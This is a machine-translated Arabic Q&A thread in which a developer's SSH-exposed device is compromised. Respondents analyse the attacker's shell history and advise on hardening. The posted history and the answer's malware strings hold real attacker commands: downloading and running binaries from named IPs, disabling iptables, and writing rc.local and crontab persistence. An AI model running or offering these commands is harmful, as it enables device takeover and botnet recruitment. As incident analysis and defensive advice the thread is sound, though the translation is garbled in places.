سؤال هل قمت للتو اختراق؟


أقوم بتطوير منتج استهلاكي ، ومن المفترض أن يكون متصلاً بالإنترنت ، كما هو متوقع ، فهو متصل بالإنترنت حتى أتمكن من تطويره بشكل صحيح.

ذهبت بعيدا لمدة ساعة أو ساعتين ، وعندما عدت إلى مكتبي ، لاحظت بعض الأوامر الغريبة المكتوبة في المحطة.

النظر في ملف سجل لينكس دعا auth.log أستطيع أن أرى السطور التالية (من بين أشياء أخرى كثيرة):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

عنوان IP 40.127.205.162 تبين أن مملوكة لشركة مايكروسوفت.

إليك مجموعة من الأوامر التي تم استخدامها أثناء وجودي:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

و اكثر:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

كنت غير مدرك تماما لهذا. كيف يمكنني تأمين المنتج الخاص بي بشكل صحيح؟

أود نشر المشاركة كاملة auth.log ملف. كيف يمكنني فعل ذلك؟

أيضا ، الملف yjz1 التي تم تنزيلها يبدو أن لينكس طروادة ويبدو أن كل هذا يتم من قبل نوع من أنواع القراصنة وفقا ل http://anti-hacker-alliance.com/index.php؟ip=40.127.205.162

هل يجب علي الاتصال بشركة Microsoft والتحدث معهم؟ ماذا يجب أن أفعل؟


485
2018-02-01 11:21


الأصل


نعم هذا لا يبدو جيدا جدا. أنا لست خبيراً في لينكس بأي وسيلة ، لكن بالتأكيد حاولت تنفيذ ذلك. لست متأكدًا تمامًا كيف يبدو وكأنه يحاول تسجيل الدخول كجذر وفشل. هل هناك أي سجلات أخرى في auth.log الخاص بك؟ أي وسيلة أخرى للإدارية عن بعد؟ رأيت Mac مع خادم VNC تمكين اختراق قبل ذلك ، على الرغم من أن هذا يبدو وكأنه محاولة SSH. يبدو أن عناوين IP التي تم تنزيلها منها مستضافة في الصين في مكان ما. - Jonno
كنت حصلت على القسري القسري. هذا هو السبب في أن المرء لا يترك خادم ssh على الإنترنت ، حتى لو كان لديك كلمة مرور. أي شيء أقل من المصادقة الأساسية ليست آمنة بما فيه الكفاية في هذه الأيام. - Journeyman Geek♦
حسنا لدينا security.stackexchange.com. ولكن أول شيء أولاً: لم يعد من الممكن الوثوق بالمضيف الذي تعرضه للاختراق. خلعه عن الشبكة. إن أمكن عمل نسخة احتياطية حتى تتمكن من البحث في ما تم القيام به وكيف تم القيام به. التالي إعادة تثبيت نظام التشغيل من مصدر نظيف. استعادة البيانات من النسخ الاحتياطية. تأمين النظام حتى لا تصاب بالعدوى مرة أخرى. يوصى بشدة بالكشف عن كيفية دخولهم. (ومن هنا جاءت التوصية بنسخ النظام المصاب). - Hennes
لمعلوماتك: 40.127.205.162 هو أ مايكروسوفت أزور عنوان IP وفقًا لـ GeoIP. وبالتالي ، لا يمكنك إلقاء اللوم على Microsoft في الهجوم - وهو ما يعني إلقاء اللوم على Amazon لأن شخصًا ما استخدم EC2 للبريد العشوائي. الشيء الوحيد الذي يمكن أن تقوم به شركة Microsoft فعلاً هو طرد المهاجمين من Azure ، ولكنهم سيعودون إلى منصة سحابة مختلفة في أي وقت من الأوقات. - nneonneo
في الواقع ، إذا كان هذا مكتوبًا في جهازك ، فمن المحتمل أن يكون القراصنة يجلسون في المهجع التالي. - isanae


الأجوبة:


تحرير 2:

هناك سبب واحد وجيه وراء جذب هذا المنشور الكثير من الاهتمام: لقد تمكنت من تسجيل جلسة كاملة من الدخيل على جهاز الكمبيوتر الخاص بك. هذا يختلف كثيرا عن تجربتنا اليومية ، حيث نتعامل مع اكتشاف عواقب أفعاله ونحاول تصحيحها. هنا نراه في العمل ، ونراه يواجه بعض المشاكل في إنشاء الباب الخلفي ، يتتبع خطواته ، يعمل بشكل محموم (ربما لأنه كان يجلس على مكتبك ، كما هو مقترح أعلاه ، أو ربما ، وفي رأيي على الأرجح ، لأنه كان غير قادر على جعل البرامج الضارة الخاصة به تعمل على النظام ، اقرأ أدناه) ، وحاول نشر أدوات التحكم بالكامل. هذا هو ما يشهده باحثو الأمن يوميا مع الفخاخ العسل. بالنسبة لي ، هذه فرصة نادرة للغاية ، ومصدر بعض الترفيه.


لقد تم اختراقك بالتأكيد. الدليل على هذا يفعل ليس تأتي من مقتطف من auth.log الملف الذي قمت بعرضه ، لأن ذلك يشير إلى محاولة تسجيل دخول غير ناجحة ، والتي تحدث خلال فترة زمنية قصيرة (ثانيتين). ستلاحظ أن السطر الثاني ينص Failed password، في حين أن الثالثة تقارير pre-auth قطع: حاول الرجل وفشلت.

الدليل يأتي بدلا من محتوى الملفين http://222.186.30.209:65534/yjz و http://222.186.30.209:65534/yjz1 التي قام المهاجم بتنزيلها على النظام الخاص بك.

الموقع مفتوح حاليا لأي شخص لتنزيلها ، وهذا ما فعلته. ركضت لأول مرة file عليها ، والتي أظهرت:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

ثم أحضرتهم على ديبيان VM 64 بت لدي. فحص محتوياتها من خلال strings وكشفت القيادة عن الكثير من المشبوهة (إشارة إلى هجمات مشهورة مختلفة ، إلى أوامر ليتم استبدالها ، وهو برنامج نصي تم استخدامه بوضوح لإنشاء خدمة جديدة ، وهكذا).

ثم أنتجت MD5-hashes من كلا الملفين ، وإطعامهم ودمعه قاعدة بيانات هاش لمعرفة ما إذا كانت معروفة من وكلاء البرمجيات الخبيثة. في حين yjzليس، yjz1 هو ، و Cymru تقارير احتمال الكشف عن طريق برنامج مكافحة الفيروسات من 58 ٪. كما ينص على أن هذا الملف شوهد لآخر مرة منذ ثلاثة أيام ، لذا فهو حديث إلى حد معقول.

جري clamscan (جزء من clamav الحزمة) على الملفين اللذين حصلت عليهما:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

لذلك نحن متأكدون الآن من أن برنامج Linux القياسي يمكنه التعرف عليه.

ماذا عليك ان تفعل؟ 

على الرغم من أن النظام الجديد جديد نوعًا ما ، انظر هذه المادة يناير 2015 على XorDdos، على سبيل المثال. لذا يجب أن تتمكن معظم الحزم المجانية من إزالتها. يجب أن تجرب: clamav، rkhunter، chkrootkit. لديّ غوغلد ، ورأيت أنهم يدعون أنهم قادرون على اكتشافه. استخدمها للتحقق من عمل سلفك ، ولكن بعد تشغيل هذه البرامج الثلاثة ، يجب أن تكون جاهزًا للاستخدام.

أما بالنسبة للسؤال الأكبر ، what should you do to prevent future infections، إجابة جورنمان هي خطوة أولى جيدة. فقط ضع في اعتبارك أنه صراع مستمر ، قد نضاله جميعًا (بما في ذلك أنا!) جيدًا دون أن نعرف ذلك.

تصحيح:

في موجه Viktor Toth (غير مباشر) ، أود إضافة بعض التعليقات. من المؤكد أن الدخيل واجه بعض الصعوبات: فهو يقوم بتنزيل اثنين من أدوات القرصنة المتميزة ، وتغيير أذوناتهم عدة مرات ، ويعيد تشغيلها عدة مرات ، ويحاول عدة مرات تعطيل جدار الحماية. من السهل تخمين ما يحدث: إنه يتوقع أن تقوم أدوات القرصنة بفتح قناة اتصال نحو أحد أجهزة الكمبيوتر المصابة (انظر لاحقًا) ، وعندما لا يرى هذه القناة الجديدة تظهر على واجهة المستخدم الرسومية ، يخشى من اختراقه يتم حظر الأداة بواسطة جدار الحماية ، لذلك يكرر إجراء التثبيت. أتفق مع فيكتور توث أن هذه المرحلة المحددة من عمليته لا يبدو أنها تجلب الثمار المتوقعة ، لكني أود أن أشجعك بشكل قوي جدا عدم التقليل من حجم الضرر الواقع على جهاز الكمبيوتر الخاص بك.

أقدم هنا مخرجات جزئية من strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

هذا يوفر دليلا على العبث بالخدمات (في /etc/init.d و في /etc/rc.d) ، مع crontab، مع ملف التاريخ من mysql، واثنين من الملفات في proc التي هي روابط ل bash (التي تقترح نسخة مزورة مصنوعة خصيصًا من قوقعتك تم زرعها). ثم يقوم البرنامج بإنشاء طلب HTTP (إلى موقع يتحدث باللغة الصينية ،

 Accept-Language: zh-cn

مما يعطي مضمونًا لتعليق ديفيد شوارتز أعلاه ، والذي قد يخلق المزيد من الفوضى. في الطلب ، الثنائيات (Content-Type: application/x-www-form-urlencoded) يتم تحميلها إلى جهاز الكمبيوتر المهاجم (GET) وتحميلها إلى جهاز التحكم (POST). لم أتمكن من تحديد ما يمكن تنزيله على الكمبيوتر المهاجم ، ولكن ، بالنظر إلى صغر حجم كليهما yjz و yjz1 (1.1 ميغابايت و 600 كيلو بايت ، repectively) ، يمكنني أن أستخلص أن معظم الملفات المطلوبة لإخفاء الجذور الخفية ، أي الإصدارات المعدلة من ls، netstat، ps، ifconfig، ... ، سيتم تنزيلها بهذه الطريقة. وهذا من شأنه أن يفسر محاولات المهاجم المحموم للحصول على هذا التحميل.

لا يوجد يقين من أن العوادم المذكورة أعلاه تستنفد كل الاحتمالات: فنحن نفتقر بالتأكيد إلى جزء من النص (بين السطور 457 و 481) ولا نرى خروجاً. علاوة على ذلك ، تثير القلق بشكل خاص خطوط 495-497 ،

cd /tmp;  ./yd_cd/make

والتي تشير إلى ملف لم نقم بتنزيله ، وأي ملف ربما كن تجميعًا: إذا كان الأمر كذلك ، فهذا يعني أن المهاجم (أخيراً) قد فهم ما هي المشكلة في ملفاته التنفيذية ، وأنه يحاول إصلاحها ، وفي هذه الحالة ذهب جهاز الكمبيوتر المهاجم إلى الأبد. [في الواقع ، فإن الإصدارين من البرامج الضارة التي قام المهاجم بتنزيلها على الجهاز المخترق (وأنا على جهاز 64bit Debian VM) مخصصان لهندسة غير مناسبة ، x86 ، في حين أن الاسم الوحيد للكمبيوتر الشخصي الذي تم الاستيلاء عليه يعطي الحقيقة كان يتعامل مع بنية الذراع.

السبب في أنني كتبت هذا التعديل هو حثك بأقصى قوة ممكنة إما على تمشيط النظام الخاص بك باستخدام أداة احترافية ، أو لإعادة التثبيت من نقطة الصفر.

وبالمناسبة ، ينبغي أن يكون هذا مفيدًا لأي شخص ، هذه هي قائمة 331 عناوين IP التي yjz يحاول الاتصال. هذه القائمة كبيرة جدا (وربما من المحتمل أن تصبح أكبر حجما) أعتقد أن هذا هو سبب العبث بها mysql. القائمة التي قدمها الباب الخلفي الآخر متطابقة ، والتي أفترض ، هي سبب ترك مثل هذه المعلومات المهمة في العراء (I يفكر لم يرغب المهاجم في بذل الجهد لتخزينها في صيغة kernel ، لذلك وضع القائمة بأكملها في ملف نصي واضح ، والذي ربما يكون للقراءة في كل من خلفيته ، لأي نظام تشغيل):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

التعليمة البرمجية التالية

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

في القائمة أعلاه يظهر ذلك 302 من المجموع 331 العناوين في الصين ، والباقي في هونغ كونغ ومنغوليا وتايوان. وهذا يضيف المزيد من الدعم إلى زعم ديفيد شوارتز بأن هذا هو في الغالب حلقة بوت صينية.

تحرير 3

بناء على طلب @ vaid (مؤلف الـ OP ، اقرأ تعليقه أدناه) ، سأقوم بإضافة تعليق حول كيفية تعزيز أمن نظام Linux الأساسي (لنظام يقدم العديد من الخدمات ، هذا موضوع أكثر تعقيدًا بكثير). vaid تنص على ما يلي:

  1. أعد تثبيت النظام

  2. تغيير كلمة مرور الجذر إلى كلمة مرور 16 حرفًا طويلة مع أحرف وأحرف وأرقام كبيرة مختزلة وأكبر.

  3. تغيير اسم المستخدم إلى 6 اسم مستخدم طويل مختلط الأحرف وتطبيق نفس كلمة المرور المستخدمة للجذر

  4. غير منفذ SSH إلى ما يزيد عن 5000

  5. أوقفت تسجيل الدخول الجذري لـ SSH.

هذا جيد (باستثناء استخدام منفذ أعلى من 10،000 لأن العديد من البرامج المفيدة تستخدم المنافذ أدناه 10،000). لكن لا أستطيع أن أؤكد بما فيه الكفاية على الحاجة إلى استخدام مفاتيح التشفير لتسجيل الدخول سه، بدلا من كلمات المرور. سأقدم لك مثالا شخصيا. على أحد VPSes الخاصة بي ، كنت غير متأكد ما إذا كنت تريد تغيير منفذ ssh؛ تركته في 22 ، ولكن استخدم مفاتيح التشفير للحصول على المصادقة. كان لدي المئات محاولات اقتحام في اليوم، لا شيء نجح. عندما تعبت من التحقق اليومي من عدم نجاح أي شخص ، قمت في النهاية بتحويل الميناء إلى ما يزيد عن 10000 ، وانتهت محاولات الاختراق إلى الصفر. ضع في اعتبارك أن الهاكرز ليسوا أغبياء (فهم ليسوا كذلك!) ، فهم فقط يصطادون فريسة أسهل.

من السهل تنشيط مفتاح التشفير مع RSA كخوارزمية توقيع ، راجع التعليق أدناه بواسطة Jan Hudec (شكرا!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

الآن كل ما عليك القيام به هو نسخ الملف id_rsa إلى الجهاز الذي تريد الاتصال به (في دليل .ssh، أيضا chmodإلى 700) ، ثم إصدار الأمر

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

عندما تكون متأكدًا من أن هذا يعمل ، قم بتحريره على الخادم (= الجهاز الذي تريد الاتصال به) /etc/ssh/sshd_configوتغيير الخط

#PasswordAuthentication yes

إلى

PasswordAuthentication no

وأعد تشغيل ssh الخدمات (service ssh restart أو systemctl restart ssh، أو شيء من هذا القبيل ، اعتمادا على توزيعة).

هذا سوف يتحمل الكثير. في الواقع ، لا توجد حاليًا عمليات استغلال معروفة ضد الإصدارات الحالية من openssh v2و RSA كما يستخدمها openssh v2.

وأخيرًا ، من أجل تثبيت جهازك ، ستحتاج إلى تكوين جدار الحماية (netfilter / iptables) على النحو التالي:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

هذا ، 1) يسمح اتصالات سه من كل من LAN و WAN ، 2) يسمح لجميع المدخلات التي نشأت من قبل طلباتك (على سبيل المثال ، عند تحميل صفحة ويب) ، 3) يسقط كل شيء آخر على المدخلات ، 4) يسمح كل شيء على الإخراج ، و 5-6) يسمح كل شيء على واجهة الاسترجاع.

مع نمو احتياجاتك ، ويجب فتح المزيد من المنافذ ، يمكنك القيام بذلك عن طريق إضافة ، في الجزء العلوي من القائمة ، قواعد مثل:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

للسماح لأشخاص على سبيل المثال بالوصول إلى متصفح الويب الخاص بك.


481
2018-02-01 16:05



كان هذا رائعا للقراءة. أنا أيضا حاولت الملف yjz1 من خلال جوجل VirusTotal.com التي أعطت إيجابية. لم أكن حتى أرى ذلك yjzتم تنزيلها. شكر. - vaid
كن حذرا على التوالي strings على البيانات غير موثوق بها. lcamtuf.blogspot.com/2014/10/... - Matt Nordhoff
MattNordhoff شكرا لتوجيه هذا ، كنت غير مدركين لها بسعادة. ومع ذلك ، في أمر دبي الخاص بي ، يمر أمر "السلاسل" بإجراء الاختبار الذي ربطته بألوان متطايرة. أفترض أن هذا يرجع إلى حقيقة أن الدليل ينص على: -a ... عادة ما يكون هذا هو السلوك الافتراضي. في صحتك. - MariusMatutiae
توضح هذه الإجابة مقاربة يجب أن تكون نموذجًا: 1. لا تدع انتباهك يتم تحويله عن طريق محاولات فاشلة ، يتم تنبيهك. 2. تفرد الإجراءات الناجحة للمهاجم. 3. دراسة ماذا وكيف فعل المهاجم. 4. قم بتثبيت كل شيء من نقطة الصفر أو من آخر نسخة احتياطية غير مرغوبة (هجومية) ، مع إضافة الحماية الإضافية المطلوبة التي وجدتها (النقطة 3). 5. مساعدة الآخرين على حماية أنفسهم (قائمة IP الشبهة / المشبوهة). - Hastur
[تم حجبه بعد تعليقMariusMatutiae] - على الرغم من ذلك ، يجب على OP أن يدرك أنه على نظام مخترق ، كل يجب اعتبار الملف التنفيذي خبيثًا ، حتى ls، who او اي شيء اخر. "Rescuing data" باستخدام أي ملف قابل للتنفيذ على النظام المخترق (على سبيل المثال ، scp أو rsync) قد يضر بالمزيد من الآلات. - Dubu


مرحبًا بك في شبكة الإنترنت - حيث من المرجح أن يتم التحقق من أي خادم SSH مفتوح ، وإجبار القسوة عليه ، وأن يكون لديه إهانات مختلفة.

للبدء ، تحتاج إلى مسح التخزين على المنتج بالكامل. صوِّرها إذا كنت تريد نقلها إلى الطب الشرعي ، ولكن تثبيت Linux عليها مشكوك فيه الآن.

قليلا من التخمين ولكن

  1. لقد حصلت على القسوة أو استخدام كلمة مرور مشتركة. انها الأمن عن طريق الغموض ولكنك لا تريد كلمة مرور القاموس أو استخدام حساب الجذر مفتوح إلى SSH. قم بتعطيل وصول SSH للجذر إذا كان خيارًا أو على الأقل تغيير الاسم حتى يحتاج إلى تخمينهما. SSHing كجذر هو ممارسة أمنية رهيبة على أية حال. إذا كان يجب استخدام الجذر ، قم بتسجيل الدخول كمستخدم آخر واستخدم su أو sudo للتبديل.

  2. اعتمادا على المنتج ، قد ترغب في تأمين وصول SSH بطريقة ما. يبدو إلغاء القفل كليًا فكرة جيدة ، ويسمح للمستخدمين بفتحه كما هو مطلوب. استنادًا إلى الموارد التي يمكنك توفيرها ، ضع في اعتبارك فقط السماح بعناوين IP في الشبكة الفرعية الخاصة بك ، أو نوع من نظام اختناق تسجيل الدخول. إذا لم تكن بحاجة إلى المنتج النهائي ، فتأكد من إيقاف تشغيله.

  3. استخدم منفذ غير قياسي. الأمن عن طريق الغموض مرة أخرى ، لكنه يعني أن المهاجم يحتاج إلى استهداف المنفذ الخاص بك.

  4. لا تستخدم كلمة مرور افتراضية. أفضل أسلوب رأيته هو إنشاء كلمة مرور بشكل عشوائي لجهاز معين وشحنها مع المنتج الخاص بك. أفضل الممارسات هي المصادقة الأساسية ، لكني لا أعرف كيف تقترب من ذلك على منتج السوق الشامل.


140
2018-02-01 13:24



5. استخدم المصادقة على المفتاح العام إذا كان ذلك ممكنًا. مصادقة كلمة المرور بعيدة ، أقل أمانًا بكثير. - Bob
نعم ، ولكن إذا كان جهازًا للمستهلك ، فقد لا يكون خيارًا. على صندوق dev ، يبدو هذا وكأنه فكرة رائعة. على خادم ، حسنا ، لقد تعرّضت للخرق من قبل ؛ p - Journeyman Geek♦
إذا كان جهاز المستهلك هو نفس كلمة المرور أو المفتاح على كل منهم أيضا فكرة سيئة. مثل أي شيء يعتمد على رقمه المسلسل ، MAC الخاص به أو معلومات تعريفية أخرى. (شيء يبدو أن الكثير من أجهزة المودم / الموجهات / WAP SoHO قد فاتته). - Hennes
إنه جهاز المستهلك. ومع ذلك ، فإن الغالبية العظمى من المستهلكين المستهدفين لن يتم تعليمهم بما يكفي لمعرفة ما هو SSH. لذا يمكن إيقاف تشغيل SSH ومن المرجح أن يتم إيقاف تشغيله. - vaid
